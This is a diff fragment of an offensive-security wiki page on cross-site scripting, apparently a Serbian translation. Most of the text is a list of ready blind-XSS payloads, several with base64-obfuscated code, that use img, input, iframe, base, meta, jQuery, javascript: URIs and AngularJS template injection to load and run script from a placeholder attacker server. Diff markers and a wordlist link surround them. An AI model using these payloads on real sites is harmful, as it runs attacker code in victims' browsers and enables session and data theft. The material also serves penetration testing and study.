'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Pristup Skrivenom Sadržaju
@ -1491,13 +1516,13 @@ console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
### Brute-Force Lista
### Brute-Force List
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS Iskorišćavanje drugih ranjivosti
## XSS Zloupotreba drugih ranjivosti
### XSS u Markdown-u
@ -1612,5 +1637,6 @@ other-js-tricks.md
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
{{#include ../../banners/hacktricks-training.md}}